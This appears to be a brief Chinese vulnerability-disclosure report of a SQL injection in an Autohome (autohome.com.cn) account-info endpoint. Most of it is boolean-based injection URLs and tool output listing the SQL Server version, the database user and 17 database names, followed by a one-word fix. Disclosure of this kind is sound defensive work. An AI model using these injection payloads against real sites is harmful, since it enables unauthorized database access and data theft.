汽车之家SQL注入漏洞http://www.autohome.com.cn/ashx/AjaxAccountInfo.ashx?users=3914441
正常情况：
http://www.autohome.com.cn/ashx/AjaxAccountInfo.ashx?users=3914441'
加单引号，无返回
http://www.autohome.com.cn/ashx/AjaxAccountInfo.ashx?users=3914441) AND 1=1 AND (8=8
返回与正常情况一样
http://www.autohome.com.cn/ashx/AjaxAccountInfo.ashx?users=3914441) AND 1=2 AND (8=8
无数据集
DBMS:Microsoft SQL Server 2008 (SP2) - 10.0.4000.0 (X64)
current user: 'usercenteradmin'
available databases [17]:
[*] Club
[*] master
[*] model
[*] MONITOR
[*] msdb
[*] OpenAPI
[*] OpenAPIbk
[*] OpenApiLog
[*] PersonalSpace
[*] PersonalSpaceLog
[*] Replication
[*] tempdb
[*] UCLog
[*] UserCenter
[*] UserCenterJob
[*] UserCenterLog
[*] VS_Monitor
具体数据就不深入了
修复方案：
过滤